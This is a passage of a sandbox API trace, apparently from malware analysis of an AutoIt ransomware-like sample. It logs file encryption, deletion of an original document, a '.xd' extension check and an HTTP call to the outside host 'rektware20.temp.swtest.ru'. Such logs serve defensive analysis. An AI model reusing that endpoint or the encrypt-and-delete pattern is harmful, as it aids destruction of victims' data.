wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.631] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.631] WriteFile (in: hFile=0x3ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x19b0, lpOverlapped=0x0) returned 1 [0073.632] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.632] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.632] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.632] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.632] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.632] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.632] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.633] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.633] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0073.633] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.633] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.633] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.633] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.633] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.633] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.633] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.633] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.633] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.633] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.633] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.633] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.633] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.633] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.634] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.634] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.634] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.634] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.634] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.634] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.634] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.634] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.634] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.634] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.634] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.634] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.634] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.634] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.634] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.635] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.635] CryptReleaseContext (hProv=0x17aa918, dwFlags=0x0) returned 1 [0073.635] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.635] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.636] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.636] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.636] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.636] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.636] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.636] CloseHandle (hObject=0x3d0) returned 1 [0073.636] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.636] CloseHandle (hObject=0x3ac) returned 1 [0073.639] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.639] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", lpFilePart=0x0) returned 0x44 [0073.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\fdrza xzvcyzk.ods")) returned 0x20 [0073.640] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7f0 [0073.640] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\fdrza xzvcyzk.ods")) returned 1 [0073.647] FindNextFileW (in: hFindFile=0x164c7f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.647] FindClose (in: hFindFile=0x164c7f0 | out: hFindFile=0x164c7f0) returned 1 [0073.647] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.647] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0073.647] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0073.647] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.647] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.647] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.648] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.648] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.648] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c) returned 1 [0073.648] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.648] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.648] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.649] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.649] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.649] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.650] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.650] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.650] CloseHandle (hObject=0x0) returned 0 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ALs-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ls-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PRtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RtEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tEglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EglwA.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="glwA.rtf", cchCount1=3, lpString2=".xd", 